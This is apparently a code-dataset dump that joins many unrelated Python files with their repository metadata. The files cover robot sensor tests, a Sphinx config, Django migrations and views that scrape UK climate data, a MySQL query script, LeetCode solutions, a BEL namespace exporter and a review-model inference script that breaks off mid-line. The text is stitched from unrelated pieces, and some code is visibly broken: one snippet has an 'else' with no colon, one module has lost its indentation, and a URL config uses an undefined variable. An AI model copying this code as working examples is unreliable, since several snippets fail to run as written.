time.sleep(1) print() print("Move forward at full speed for 1.5 seconds, coast to stop") robot.drive_system.start_moving() time.sleep(1.5) robot.drive_system.stop_moving(rb.StopAction.COAST) print("Left/right wheel positions:", robot.drive_system.left_wheel.get_degrees_spun(), robot.drive_system.right_wheel.get_degrees_spun()) def run_test_touch_sensor(): """ Tests the touch_sensor of the Snatch3rRobot. """ robot = rb.Snatch3rRobot() print() print("Testing the touch_sensor of the robot.") print("Repeatedly press and release the touch sensor.") print("Press Control-C when you are ready to stop testing.") time.sleep(1) count = 1 while True: print("{:4}.".format(count), "Touch sensor value is: ", robot.touch_sensor.get_value()) time.sleep(0.5) count = count + 1 def run_test_color_sensor(): """ Tests the color_sensor of the Snatch3rRobot. """ robot = rb.Snatch3rRobot() print() print("Testing the color_sensor of the robot.") print("Repeatedly move the robot to different surfaces.") print("Press Control-C when you are ready to stop testing.") time.sleep(1) count = 1 while True: print("{:4}.".format(count), "Color sensor value/color/intensity is: ", "{:3} {:3} {:3}".format(robot.color_sensor.get_value()[0], robot.color_sensor.get_value()[1], robot.color_sensor.get_value()[2]), "{:4}".format(robot.color_sensor.get_color()), "{:4}".format(robot.color_sensor.get_reflected_intensity())) time.sleep(0.5) count = count + 1 main()
f8cfe37328e46d44a30edc92197b0790ae37e435
760e84fc1ae36ccad2bf70bfac3d2ff18291b8ac
/gimbal/test/servo/sysfs_writer_dummy.py
6ead1a4b63e134d6e6b9c6063c322b70430f4416
[]
no_license
dpm76/Gimbal
43b11497221657848f41a6440945d0601b379e23
6803867b359db76a420b2cc46192e0c475e35e6b
refs/heads/master
2022-09-27T23:33:58.402529
2022-08-27T10:06:09
2022-08-27T10:06:09
79,473,892
5
2
null
null
null
null
UTF-8
Python
false
false
1,705
py
''' Created on 19 ene. 2017 @author: david ''' class SysfsWriterDummyFactory(object): """ Creates SysfsWriterDummy object """ def create(self): """ Creates writer """ return SysfsWriterDummy() class SysfsWriterDummy(object): """ System filesystem's writer dummy """ def __init__(self): self._dummyFiles = {} self._workingFilePath = "" def setPath(self, path): """ Set filepath. Any write opperation will be performed on this path @param path: Filepath """ self._workingFilePath = path return self def write(self, text): """ Writes contents on the current path. It flushes immediately. If no path was previously set, an exception will be raised. @param text: Contents as string """ if self._workingFilePath: self._dummyFiles[self._workingFilePath] = text else: raise Exception("No working path set or file was closed.") return self def close(self): """ Closes the current path """ self._workingFilePath = "" return self def read(self, path): """ Returns the contents of a path, or an exception raised if the path doesn't exist @param path: Filepath """ if path in self._dummyFiles: contents = self._dummyFiles[path] else: raise Exception("The path '{0}' doesn\'t exist.".format(path)) return contents
ca7bed30ee38167e59191c271b76792174e59050
f780e660df46040ab05fd1bcb9657f7db7db65d4
/conf.py
a74a25f953271940de926868f4ea07741e3417b5
[ "BSD-2-Clause", "LicenseRef-scancode-unknown-license-reference" ]
permissive
systemonachip/systemonachip
35ffc00f4763333848cbca7e93a9e2cc1030b6de
6440b7ad7648a1affa1e6ddbdbf8d6fe76f57df7
refs/heads/main
2022-12-05T11:53:32.689536
2020-08-11T05:30:53
2020-08-11T05:30:53
283,394,238
4
0
null
null
null
null
UTF-8
Python
false
false
1,926
py
# Configuration file for the Sphinx documentation builder. # # This file only contains a selection of the most common options. For a full # list see the documentation: # https://www.sphinx-doc.org/en/master/usage/configuration.html # -- Path setup -------------------------------------------------------------- # If extensions (or modules to document with autodoc) are in another directory, # add these directories to sys.path here. If the directory is relative to the # documentation root, use os.path.abspath to make it absolute, like shown here. # import os import sys sys.path.insert(0, os.path.abspath('.')) # -- Project information ----------------------------------------------------- project = 'System On a Chip' copyright = '2020, Scott Shawcroft' author = 'Scott Shawcroft' # -- General configuration --------------------------------------------------- # Add any Sphinx extension module names here, as strings. They can be # extensions coming with Sphinx (named 'sphinx.ext.*') or your custom # ones. extensions = [ 'sphinx.ext.autodoc', 'sphinx.ext.napoleon', ] # Add any paths that contain templates here, relative to this directory. templates_path = ['_templates'] # List of patterns, relative to source directory, that match files and # directories to ignore when looking for source files. # This pattern also affects html_static_path and html_extra_path. exclude_patterns = ['_build', 'Thumbs.db', '.DS_Store', '.env'] # -- Options for HTML output ------------------------------------------------- # The theme to use for HTML and HTML Help pages. See the documentation for # a list of builtin themes. # html_theme = 'alabaster' # Add any paths that contain custom static files (such as style sheets) here, # relative to this directory. They are copied after the builtin static files, # so a file named "default.css" will overwrite the builtin "default.css". html_static_path = ['_static']
10e9c876610b7fa2d64578976e7f2e46129f7bdb
21b5ad37b812ed78799d4efc1649579cc83d32fb
/job/migrations/0002_auto_20200212_1056.py
3c1cfe311d99524c0c1a26ac9408c01c9456878e
[]
no_license
SaifulAbir/django-js-api
b6f18c319f8109884e71095ad49e08e50485bb25
fbf174b9cde2e7d25b4898f511df9c6f96d406cf
refs/heads/master
2023-02-12T16:09:21.508702
2021-01-14T09:05:15
2021-01-14T09:05:15
329,713,528
0
0
null
null
null
null
UTF-8
Python
false
false
604
py
# Generated by Django 3.0.3 on 2020-02-12 10:56 from django.db import migrations, models import django.utils.timezone class Migration(migrations.Migration): dependencies = [ ('job', '0001_initial'), ] operations = [ migrations.AddField( model_name='job', name='company_profile', field=models.CharField(blank=True, max_length=255, null=True), ), migrations.AlterField( model_name='job', name='created_date', field=models.DateField(default=django.utils.timezone.now), ), ]
e746768ab5d287875fe8f52db0f6e9f69d465988
dde951c8bcfb79cdead3449de42d9ed3e6f24fbe
/mymodule.py
5ee73f4b3e930257bc5b92eaec778ed69f58f302
[]
no_license
wolfeyuanwei/study-python
c764353cbf75b0ccd79dc562fe11eebee712510b
be1a9ec93cd29d9fe6b69ad4f9c059fb9dd308de
refs/heads/master
2021-05-11T22:57:51.541684
2018-02-08T05:03:10
2018-02-08T05:03:10
117,504,326
0
0
null
null
null
null
UTF-8
Python
false
false
112
py
#!/usr/bin/python #Filename:mymodule.py def sayhi(): print("Hi, this is mymodule speaking.") version="0.1"
6a67e5f262b74518db7e0ef4f6c9034700ff7848
238cff74530e5571648da88f127d086d2d9294b4
/0x0F-python-object_relational_mapping/0-select_states.py
76e5988a937a8573ef3ef92f91e4dd16f923e481
[]
no_license
Achilik/holbertonschool-higher_level_programming-6
b92fcbd1bc6bbedcfef4b49bb3907d97b8be41ff
d0c46cc5ed2bfd1c8d75ce4a2a7604fc4f3f1c5c
refs/heads/master
2023-03-21T08:03:31.613145
2018-09-08T10:10:53
2018-09-08T10:10:53
null
0
0
null
null
null
null
UTF-8
Python
false
false
391
py
#!/usr/bin/python3 """List all states using mysqldb""" if __name__ == "__main__": import MySQLdb from sys import argv db = MySQLdb.connect(host="localhost", user=argv[1], passwd=argv[2], db=argv[3]) cur = db.cursor() cur.execute("SELECT id, name FROM states") for row in cur.fetchall(): print("({}, '{}')".format(row[0], row[1]))
0082a8cb5b9a83ed11b53f2a67daa38f739be429
ca7aa979e7059467e158830b76673f5b77a0f5a3
/Python_codes/p02382/s713591179.py
09cde9d080d0b47f07d303ae5fc2bac9e18b8f66
[]
no_license
Aasthaengg/IBMdataset
7abb6cbcc4fb03ef5ca68ac64ba460c4a64f8901
f33f1c5c3b16d0ea8d1f5a7d479ad288bb3f48d8
refs/heads/main
2023-04-22T10:22:44.763102
2021-05-13T17:27:22
2021-05-13T17:27:22
367,112,348
0
0
null
null
null
null
UTF-8
Python
false
false
246
py
n = int(input()) X = list(map(int, input().split())) Y = list(map(int, input().split())) for i in range(1, 4): D = 0 for j in range(n): D += abs(X[j] - Y[j])**(i) print(D**(1/i)) print(max(abs(X[i] - Y[i]) for i in range(n)))
071deea967dc8da3caebd1c55e369f2362413914
4c20c78cf383cd40db8e3d3eee88e5f96884a1af
/39.combination_sum/39.combination-sum.py
6b75d489a8226c53faff5049bcc53be904b43fec
[]
no_license
HanchengZhao/Leetcode-exercise
de6c17a2c965fe0c3afc0a4c39fc0a5f8bbe8d47
6c780a97c956856ac94a5d0bb4c9b631e7a0677a
refs/heads/master
2021-05-04T10:09:29.308858
2019-10-17T05:31:20
2019-10-17T05:31:20
50,731,817
7
1
null
null
null
null
UTF-8
Python
false
false
721
py
# # @lc app=leetcode id=39 lang=python3 # # [39] Combination Sum # class Solution: def combinationSum(self, candidates: List[int], target: int) -> List[List[int]]: def recursion(cur, cursum, candidates, target, res, index): if cursum > target: return if cursum == target: res.append(cur) return # we can only use the numbers at/after this index to avoid duplicates for i in range(index, len(candidates)): num = candidates[i] recursion(cur + [num], cursum + num, candidates, target, res, i) res = [] recursion([], 0, candidates, target, res, 0) return res
0a7ba83dd16fddc2a53c7fbc33ae451f3e7d5ab5
b627f23744e305c0d90044669a6ec68cf59bc146
/src/ls_sms_api/ls_sms_api/wsgi.py
d309f6fbb20ae8fa35be63890cccb03c64dfd2ae
[]
no_license
wisnercelucus/ls-sms-api
751689d0c11974547d9adcabcea91f06f404656d
9ff8bce77561641b6f7ba9b4e99378efbb8c0ef5
refs/heads/master
2022-04-12T21:52:37.619685
2020-03-26T20:04:46
2020-03-26T20:04:46
250,121,282
0
0
null
null
null
null
UTF-8
Python
false
false
397
py
""" WSGI config for ls_sms_api project. It exposes the WSGI callable as a module-level variable named ``application``. For more information on this file, see https://docs.djangoproject.com/en/2.0/howto/deployment/wsgi/ """ import os from django.core.wsgi import get_wsgi_application os.environ.setdefault("DJANGO_SETTINGS_MODULE", "ls_sms_api.settings") application = get_wsgi_application()
4a437d4905608bd5f842a14f4a686edb4aa40ee5
19bc8a9343aa4120453abeff3deddda7d900f774
/ProgrammingInterviewQuestions/43_Anagrams.py
744e4ded887e1af67a814418dd617356895feac5
[]
no_license
ArunkumarRamanan/CLRS-1
98643cde2f561d9960c26378ae29dd92b4c3fc89
f085db885bcee8d09c1e4f036517acdbd3a0918e
refs/heads/master
2020-06-28T08:30:44.029970
2016-11-19T15:27:55
2016-11-19T15:27:55
null
0
0
null
null
null
null
UTF-8
Python
false
false
457
py
# -*- coding: utf-8 -*- """ Created on Sun Oct 30 19:21:36 2016 @author: Rahul Patni """ def number_needed(a, b): array1 = [0] * 26 array2 = [0] * 26 for i in a: array1[ord(i) - ord('a')] += 1 for i in b: array2[ord(i) - ord('a')] += 1 total = 0 for i in range(0, 26): total += abs(array1[i] - array2[i]) return total a = raw_input().strip() b = raw_input().strip() print number_needed(a, b)
3549f6ce778e95719ac1407a7e5ac63203c9c77f
7621cc5db1f87bc4c95ec1d0b80860c74787a0d1
/loco/urls.py
eab5993189bc2a7a303e55e7d953a6966601dd4b
[]
no_license
ingenieroariel/loco
0b53f3c2e871db7d04a82b898c61ee63173e0f47
79245b63f082e5b393bacae87d44cea6df66dcff
refs/heads/master
2021-01-10T09:47:55.575723
2015-10-06T19:34:32
2015-10-06T19:34:32
43,713,454
0
0
null
null
null
null
UTF-8
Python
false
false
1,177
py
"""loco URL Configuration The `urlpatterns` list routes URLs to views. For more information please see: https://docs.djangoproject.com/en/1.8/topics/http/urls/ Examples: Function views 1. Add an import: from my_app import views 2. Add a URL to urlpatterns: url(r'^$', views.home, name='home') Class-based views 1. Add an import: from other_app.views import Home 2. Add a URL to urlpatterns: url(r'^$', Home.as_view(), name='home') Including another URLconf 1. Add an import: from blog import urls as blog_urls 2. Add a URL to urlpatterns: url(r'^blog/', include(blog_urls)) """ from django.conf.urls import include, url from django.contrib import admin from django.views.generic import ListView from osm.models import Banks from djgeojson.views import GeoJSONLayerView from django.contrib.gis.measure import D bancos_barranquilla = Banks.objects.filter(wkb_geometry__distance_lte=(barranquilla, D(km=20))) urlpatterns = [ url(r'^$', ListView.as_view(queryset=bancos_barranquilla, template_name='osm/banks.html')), url(r'^banks$', GeoJSONLayerView.as_view(model=Banks), name='data'), url(r'^admin/', include(admin.site.urls)), ]
f187e58d408ba609b2fb5abbcc73fb9cbd3f2144
3cf0d750948a758d5771dd778fbb783d64a044ae
/src/algo_cases/第4章/4_2.py
01cd88698a2920f4ad2133718f14a27994e6cd3d
[ "CC-BY-NC-SA-4.0", "Apache-2.0" ]
permissive
hbulpf/pydemo
6552a08b3c85721ac1b2ba335b030e234ad03b6c
ea3e9f9086116a86ecef803e9e3179a34c94c20f
refs/heads/master
2022-11-30T21:06:29.933820
2022-01-15T17:05:16
2022-01-15T17:05:16
237,584,300
6
1
Apache-2.0
2022-11-22T09:49:38
2020-02-01T08:20:43
Python
UTF-8
Python
false
false
1,160
py
def threeSum(self, array): array.sort() length=len(array) res=[] for i in range(length):#三层循环 for j in range (i+1,length): for k in range(j+1,length): if array[i]+array[k]+array[j]==0 and not [array[i],array[j],array[k]] in res: res.append([array[i],array[j],array[k]]) return res def threeSum(self, array): array.sort() res= [] for k in range(len(array) - 2): if array[k] > 0: break if k > 0 and array[k] == array[k - 1]: continue l, r= k + 1, len(array) - 1 while l < r: s = array[k] + array[l] + array[r] if s < 0: l += 1 while l < r and array[l] == array[l - 1]: l += 1#进行元素去重 elif s > 0: r -= 1 while l < r and array[r] == array[r + 1]: r -= 1 else: res.append([array[k], array[l], array[r]]) l += 1 r -= 1 while l < r and array[l] == array[l - 1]: l += 1 while l < r and array[r] == array[r + 1]: r -= 1 return res
409252b48117af3db718766805d451249d2060cc
0725ed7ab6be91dfc0b16fef12a8871c08917465
/graphs/key_and_rooms.py
715456607ef58e9519dae068c8bde6f79cd99bf7
[]
no_license
siddhism/leetcode
8cb194156893fd6e9681ef50c84f0355d09e9026
877933424e6d2c590d6ac53db18bee951a3d9de4
refs/heads/master
2023-03-28T08:14:12.927995
2021-03-24T10:46:20
2021-03-24T10:46:20
212,151,205
0
0
null
null
null
null
UTF-8
Python
false
false
1,172
py
from collections import defaultdict class Graph: def __init__(self, V): self.graph = defaultdict(list) self.V = V self.visited = [False for _ in range(self.V + 1)] def add_edge(self, u, v): self.graph[u].append(v) def DFSUtil(self, u): self.visited[u] = True # print u, for neighbour in self.graph[u]: if not self.visited[neighbour]: self.DFSUtil(neighbour) def DFS(self, u): self.DFSUtil(u) def print_graph(self): for k, v in self.graph.items(): print k, ' -> ', v class Solution(object): def canVisitAllRooms(self, rooms): """ :type rooms: List[List[int]] :rtype: bool """ # build graph graph = Graph(len(rooms)) for room_index, keys in enumerate(rooms): for key in keys: graph.add_edge(room_index, key) # graph.print_graph() graph.DFS(0) all_visited = True for i in range(len(rooms)): if not graph.visited[i]: all_visited = False break return all_visited
2345216ef12a7ccfdb9d835b9d96af3569cd556a
c5d131cf7a5e5667b5f6983512d132f9817c7310
/geosite/views.py
d7bdc0815adbffb6a4a95113c6636eef66b60b3b
[]
no_license
wfp-ose/geosite-framework-django
0e6596d241498cfe3b5bb696abee27da511a8b1d
ffb3f805cca708e7b95abe59a1b1b8e3916783a3
refs/heads/master
2021-01-21T04:55:47.253100
2016-06-03T15:37:21
2016-06-03T15:37:21
51,529,078
1
0
null
null
null
null
UTF-8
Python
false
false
2,424
py
import errno from socket import error as socket_error from django.conf import settings from django.views.generic import View from django.shortcuts import HttpResponse, render_to_response try: import simplejson as json except ImportError: import json from geosite.cache import provision_memcached_client class geosite_data_view(View): key = None content_type = "application/json" def _build_key(self, request, *args, **kwargs): return self.key def _build_data(self): raise Exception('geosite_data_view._build_data should be overwritten') def get(self, request, *args, **kwargs): data = None if settings.GEOSITE_CACHE_DATA: client = provision_memcached_client() if client: key = self._build_key(request, *args, **kwargs) print "Checking cache with key ", key data = None try: data = client.get(key) except socket_error as serr: data = None print "Error getting data from in-memory cache." if serr.errno == errno.ECONNREFUSED: print "Memcached is likely not running. Start memcached with supervisord." raise serr if not data: print "Data not found in cache." data = self._build_data(request, *args, **kwargs) try: client.set(key, data) except socket_error as serr: print "Error saving data to in-memory cache." if serr.errno == errno.ECONNREFUSED: print "Memcached is likely not running or the data exceeds memcached item size limit. Start memcached with supervisord." raise serr else: print "Data found in cache." else: print "Could not connect to memcached client. Bypassing..." data = self._build_data(request, *args, **kwargs) else: print "Not caching data (settings.GEOSITE_CACHE_DATA set to False)." data = self._build_data(request, *args, **kwargs) return HttpResponse(json.dumps(data, default=jdefault), content_type=self.content_type) def jdefault(o): return o.__dict__
b4ecd05bf9fcf51d6c49b525e8a5af982ae4959d
c1a04c3dd2956ffd055020d5a73ceeb18b0367fe
/tests/builtins/test_bool.py
8a7cb0994edcab1e7d566c000ded0430d8afbc03
[ "BSD-3-Clause", "MIT" ]
permissive
matthewphillips/batavia
1f145d0ac2182875c6d1734fbc8510a654ee932e
b69c1f419674ecf214c474c754912f2e0cf5c65d
refs/heads/master
2021-01-21T06:33:04.213885
2017-02-26T22:10:50
2017-02-26T22:10:50
null
0
0
null
null
null
null
UTF-8
Python
false
false
1,383
py
from .. utils import TranspileTestCase, BuiltinFunctionTestCase import unittest class BoolTests(TranspileTestCase): def test_bool_omitted(self): self.assertCodeExecution(""" print(bool()) """) def test_bool_like(self): self.assertCodeExecution(""" class BoolLike: def __init__(self, val): self.val = val def __bool__(self): return self.val == 1 print(bool(BoolLike(0))) print(bool(BoolLike(1))) """) def test_len_only(self): self.assertCodeExecution(""" class LenButNoBool: def __init__(self, val): self.val = val def __len__(self): return self.val print(bool(LenButNoBool(0))) print(bool(LenButNoBool(1))) """) def test_no_bool_no_len(self): self.assertCodeExecution(""" class NoLenNoBool: def __init__(self, val): self.val = val print(bool(NoLenNoBool(0))) print(bool(NoLenNoBool(1))) print(bool(NoLenNoBool(42))) print(bool(NoLenNoBool(-2))) """) class BuiltinBoolFunctionTests(BuiltinFunctionTestCase, TranspileTestCase): functions = ["bool"]
d5997425aae6fc467a61b580ad532ab834fe952f
f40cc44ebfc337326577c91cd88d0c1dd845b098
/LuminarPythonPrograms/Collection/ListDemo/Listprogram3.py
1150ec798fe3462679fb73faf13793e2b97562f8
[]
no_license
Aswin2289/LuminarPython
6e07d6f9bf6c8727b59f38f97f5779a33b2fab0d
ba633a276dd79bbf214cfceac2413c894eaa1875
refs/heads/master
2023-01-01T07:52:41.598110
2020-10-13T04:34:49
2020-10-13T04:34:49
290,109,547
0
0
null
null
null
null
UTF-8
Python
false
false
158
py
#print power lst=[2,4,6] # le=len(lst) # res=0 # for i in range(0,le): # res=lst[i]**i # print(res) cnt=1 for i in lst: print(i**cnt) cnt+=1
916b8f251e993a18dbf69cffb2c0341c30bcdbc2
3e600966adc8f0fe7114d5d988b32ead395edff2
/src/pybel_tools/definition_utils/summary_dependent.py
58d64d00c93a2c7a81b2bf6591dcd2dc565b6dae
[ "Apache-2.0" ]
permissive
johnbachman/pybel-tools
cadf407609462b9c2faaa62e5d35464fa27c1b7f
c691d7b33d449501142eb011bc2b8f63830645cf
refs/heads/develop
2021-09-14T20:30:07.873760
2018-05-10T14:07:08
2018-05-10T14:07:08
105,606,597
0
0
null
2017-10-03T02:23:24
2017-10-03T02:23:23
null
UTF-8
Python
false
false
3,443
py
# -*- coding: utf-8 -*- import logging import os from pybel.constants import * from pybel.resources.definitions import write_namespace from pybel.struct.summary.node_summary import get_names_by_namespace from ..summary.error_summary import get_incorrect_names_by_namespace, get_undefined_namespace_names log = logging.getLogger(__name__) __all__ = [ 'export_namespace', 'export_namespaces', ] def export_namespace(graph, namespace, directory=None, cacheable=False): """Exports all names and missing names from the given namespace to its own BEL Namespace files in the given directory. Could be useful during quick and dirty curation, where planned namespace building is not a priority. :param pybel.BELGraph graph: A BEL graph :param str namespace: The namespace to process :param str directory: The path to the directory where to output the namespace. Defaults to the current working directory returned by :func:`os.getcwd` :param bool cacheable: Should the namespace be cacheable? Defaults to ``False`` because, in general, this operation will probably be used for evil, and users won't want to reload their entire cache after each iteration of curation. """ directory = os.getcwd() if directory is None else directory path = os.path.join(directory, '{}.belns'.format(namespace)) with open(path, 'w') as file: log.info('Outputting to %s', path) right_names = get_names_by_namespace(graph, namespace) log.info('Graph has %d correct names in %s', len(right_names), namespace) wrong_names = get_incorrect_names_by_namespace(graph, namespace) log.info('Graph has %d incorrect names in %s', len(right_names), namespace) undefined_ns_names = get_undefined_namespace_names(graph, namespace) log.info('Graph has %d names in missing namespace %s', len(right_names), namespace) names = (right_names | wrong_names | undefined_ns_names) if 0 == len(names): log.warning('%s is empty', namespace) write_namespace( namespace_name=namespace, namespace_keyword=namespace, namespace_domain='Other', author_name=graph.authors, author_contact=graph.contact, citation_name=graph.name, values=names, cacheable=cacheable, file=file ) def export_namespaces(graph, namespaces, directory=None, cacheable=False): """Thinly wraps :func:`export_namespace` for an iterable of namespaces. :param pybel.BELGraph graph: A BEL graph :param iter[str] namespaces: An iterable of strings for the namespaces to process :param str directory: The path to the directory where to output the namespaces. Defaults to the current working directory returned by :func:`os.getcwd` :param bool cacheable: Should the namespaces be cacheable? Defaults to ``False`` because, in general, this operation will probably be used for evil, and users won't want to reload their entire cache after each iteration of curation. """ directory = os.getcwd() if directory is None else directory # avoid making multiple calls to os.getcwd later for namespace in namespaces: export_namespace(graph, namespace, directory=directory, cacheable=cacheable)
5f537997bcb48f2972f8668304590a3e7b11e283
53fab060fa262e5d5026e0807d93c75fb81e67b9
/backup/user_034/ch129_2020_04_01_17_00_30_862850.py
b356e9c2aff07bffe76f355aa509f1e0320549e5
[]
no_license
gabriellaec/desoft-analise-exercicios
b77c6999424c5ce7e44086a12589a0ad43d6adca
01940ab0897aa6005764fc220b900e4d6161d36b
refs/heads/main
2023-01-31T17:19:42.050628
2020-12-16T05:21:31
2020-12-16T05:21:31
306,735,108
0
0
null
null
null
null
UTF-8
Python
false
false
172
py
def verifica_quadrado_perfeito(n): impar = 1 while n != 0: n = n - impar impar += 2 if n == 0: return True else return False
d43ed31749be13b25dc97002e6e7499aad5038d9
8ea2d923fcb193846ff925abcbef8f97c394936e
/climate_app/views.py
2fc27ba7af83708082858e0ac79e0b6629ad1e72
[]
no_license
amrit-kumar/climate_data_and_graph
6a32b969e3d13953f1e74baed720e824d7dd61b0
c793bd38474ba11ef50b76739d979f3f8c910dbf
refs/heads/master
2021-01-16T18:55:32.359620
2017-08-12T18:28:52
2017-08-12T18:28:52
100,129,094
0
0
null
null
null
null
UTF-8
Python
false
false
5,211
py
import requests from django.http.response import HttpResponse from .models import ClimateData,ClimateStatistics from urllib.request import Request,urlopen from django.core.files import File from django.core.files.temp import NamedTemporaryFile import re from django.shortcuts import render from django.core.files.storage import FileSystemStorage import os import csv import uuid def get_file_climate_condition(urls,region): for url in urls: res = requests.get(url) file_temp = NamedTemporaryFile() file_temp.write(res.content) file_temp.flush() climate_obj = ClimateData() climate_obj.region = region climate_obj.save() if "Tmax" in url: climate_obj.max_temp.save("Maxtemp", File(file_temp)) if "Tmin" in url: climate_obj.min_temp.save("Min_temp", File(file_temp)) if "Tmean" in url: climate_obj.mean_temp.save("Mean_temp", File(file_temp)) if "Sunshine" in url: climate_obj.sunshine.save("Sunshine_temp", File(file_temp)) if "Rainfall" in url: climate_obj.rainfall.save("Rainfall_temp", File(file_temp)) return HttpResponse() def uk_climate(regin_uk,region): max_temp_url = [climate_cond for climate_cond in regin_uk if "Tmax" in climate_cond ] min_temp_url = [climate_cond for climate_cond in regin_uk if "Tmin" in climate_cond] mean_temp_url = [climate_cond for climate_cond in regin_uk if "Tmean" in climate_cond] sunshine_url = [climate_cond for climate_cond in regin_uk if "Sunshine" in climate_cond] rainfall_url = [climate_cond for climate_cond in regin_uk if "Rainfall" in climate_cond] urls=max_temp_url+min_temp_url+mean_temp_url+sunshine_url+rainfall_url get_file_climate_condition(urls,region) return HttpResponse() def download_climate_files(request): ClimateStatistics.objects.all().delete() url = Request("http://www.metoffice.gov.uk/climate/uk/summaries/datasets#Yearorder", headers={'User-Agent': 'Mozilla/5.0'}) site = urlopen(url) html = site.read().decode('utf-8') links = re.findall('"((http|ftp)s?://.*?)"', html) OutputTuple = [(a) for a ,b in links] year_ordered=[url for url in OutputTuple if "date" in url] regin_uk=[regin_uk for regin_uk in year_ordered if "/UK.txt" in regin_uk] regin_england=[regin_england for regin_england in year_ordered if "/England.txt" in regin_england] regin_wales=[regin_wales for regin_wales in year_ordered if "/Wales.txt" in regin_wales] regin_scotland=[regin_scotland for regin_scotland in year_ordered if "/Scotland.txt" in regin_scotland] uk_climate(regin_uk,region="UK") uk_climate(regin_england,region="England") uk_climate(regin_wales,region="Wales") uk_climate(regin_scotland,region="Scotland") return HttpResponse("Ok") def text_yearwise_data(request): ClimateStatistics.objects.all().delete() path ='C:\\Users\\AMRIT\\Desktop\\project\\climate\\media\\downloads' files = os.listdir(path) for file in files: pathIn = path + "/" + file id = uuid.uuid1() print("@@@@@@@@@@@@@@@@@@@@@@@@",id) in_txt = open(pathIn, mode="r", encoding='utf-8') startFromLine = 9 linesCounter = 1 for line in in_txt: if linesCounter >=startFromLine : lis = line.split() for n, i in enumerate(lis): if i == "---": lis[n] = 0 if len(lis)==18: ClimateStatistics.objects.get_or_create(file_id=id, Year=lis[0], JAN=lis[1], FEB=lis[2], MAR=lis[3],APR=lis[4], MAY=lis[5], JUN=lis[6],JUL=lis[7], AUG=lis[8], SEP=lis[9], OCT=lis[10], NOV=lis[11], DEC=lis[12], WIN=lis[13], SPR=lis[14], SUM=lis[15], AUT=lis[16],ANN=lis[17] ) else: ClimateStatistics.objects.get_or_create(file_id=id, Year=lis[0], JAN=lis[1], FEB=lis[2], MAR=lis[3], APR=lis[4], MAY=lis[5], JUN=lis[6], JUL=lis[7], WIN=lis[8], SPR=lis[9], ) linesCounter += 1 null_obj=ClimateStatistics.objects.filter(WIN="---") for i in null_obj: i.WIN=0 i.save() return HttpResponse() def download_csv(request, queryset): csv_file = 'C:\\Users\\AMRIT\\Desktop\\project\\climate\\climate_app\\static\\data_extraction\\climate_data.csv' opts = queryset.model._meta # the csv writer writer = csv.writer(open(csv_file, 'w')) field_names = [field.name for field in opts.fields] # Write a first row with header information writer.writerow(field_names[2:]) # Write data rows for obj in queryset: writer.writerow([getattr(obj, field) for field in field_names[2:] ]) # print(csv.reader(open(csv_file,'r'))) return csv_file def convert_to_csv(request,id): csv_file = download_csv( request, ClimateStatistics.objects.filter(file_id=id).order_by("Year")) return render(request,'data_extraction/d3.html')
55ce28c1e60c88d22722efb81141164f21ac9348
df2c8ee21041b702219940221740ac2dbd29ea2d
/iReview_v1/inference.py
0cce6f3f43fe880887cd91f35125aa2651948b0e
[]
no_license
RenqinCai/PersonalizedReviewCopy
5e239edbe2451c4475d70e74e19a108e0b3f8060
37edb2d37bd9d29790eef2b990a982b89662e265
refs/heads/master
2021-05-25T16:55:50.617882
2020-12-30T21:51:40
2020-12-30T21:51:40
253,829,655
0
0
null
null
null
null
UTF-8
Python
false
false
9,318
py
import numpy as np import torch import random from nltk.translate.bleu_score import sentence_bleu import os from metric import get_bleu import torch.nn.functional as F class INFER(object): def __init__(self, vocab_obj, args, device): super().__init__() self.m_sos_idx = vocab_obj.sos_idx self.m_eos_idx = vocab_obj.eos_idx self.m_pad_idx = vocab_obj.pad_idx self.m_i2w = vocab_obj.m_i2w self.m_epoch = args.epochs self.m_batch_size = args.batch_size self.m_mean_loss = 0 self.m_x0 = args.x0 self.m_k = args.k self.m_anneal_func = args.anneal_func self.m_device = device self.m_model_path = args.model_path def f_init_infer(self, network, model_file=None, reload_model=False): if reload_model: print("reload model") if not model_file: model_file = "model_best.pt" model_name = os.path.join(self.m_model_path, model_file) print("model name", model_name) check_point = torch.load(model_name) network.load_state_dict(check_point['model']) self.m_network = network def f_inference(self, train_data, eval_data): self.m_mean_loss = 0 # for epoch_i in range(self.m_epoch): # batch_size = args.batch_size self.m_network.eval() infer_loss_list = [] batch_index = 0 bleu_score_list = [] with torch.no_grad(): for input_batch, input_length_batch, user_batch, item_batch, target_batch, target_length_batch, random_flag in eval_data: if batch_index > 0: break batch_index += 1 input_batch_gpu = input_batch.to(self.m_device) input_length_batch_gpu = input_length_batch.to(self.m_device) user_batch_gpu = user_batch.to(self.m_device) item_batch_gpu = item_batch.to(self.m_device) target_batch_gpu = target_batch.to(self.m_device) target_length_batch_gpu = target_length_batch.to(self.m_device) # RRe_batch = RRe_batch.to(self.m_device) # ARe_batch = ARe_batch.to(self.m_device) input_de_batch_gpu = target_batch_gpu[:, :-1] input_de_length_batch_gpu = target_length_batch_gpu-1 logits, z_prior, z_mean, z_logv, z, s_mean, s_logv, s_prior, s, l_mean, l_logv, l, variational_hidden = self.m_network(input_batch_gpu, input_length_batch_gpu, input_de_batch_gpu, input_de_length_batch_gpu, user_batch_gpu, item_batch_gpu, random_flag) print('random_flag', random_flag) # print("*"*10, "encode --> decode <--", "*"*10) print("encoding", "->"*10, *idx2word(input_batch, i2w=self.m_i2w, pad_idx=self.m_pad_idx), sep='\n') # mean = mean.unsqueeze(0) # print("size", z_mean.size(), s_mean.size()) # mean = torch.cat([z_mean, s_mean], dim=1) # mean = torch.cat([z_mean, s_mean], dim=1) if random_flag == 0: mean = z_mean+s_mean+l_mean elif random_flag == 1: mean = z_mean+s_mean elif random_flag == 2: mean = s_mean+l_mean elif random_flag == 3: mean = z_mean+l_mean max_seq_len = max(target_length_batch-1) samples, z, user_item_flags= self.f_decode_text(z_mean, s_mean, l_mean, max_seq_len) # print("->"*10, *idx2word(input_batch, i2w=self.m_i2w, pad_idx=self.m_pad_idx), sep='\n') # bleu_score_batch = self.f_eval(samples.cpu(), target_batch.cpu(), length_batch.cpu()) # print("batch bleu score", bleu_score_batch) # print("user_item_flags", user_item_flags) # bleu_score_list.append(bleu_score_batch) print("<-"*10) print("decoding", "<-"*10, *idx2word(samples, i2w=self.m_i2w, pad_idx=self.m_pad_idx), sep='\n') print2flag(user_item_flags) # print(*print2flag(user_item_flags), sep='\n') print("<-"*10) print("target", "<-"*10, *idx2word(target_batch[:, 1:,], i2w=self.m_i2w, pad_idx=self.m_pad_idx), sep='\n') # mean_bleu_score = np.mean(bleu_score_list) # print("bleu score", mean_bleu_score) def f_decode_text(self, z, s, l, max_seq_len, n=4): if z is None: assert "z is none" batch_size = 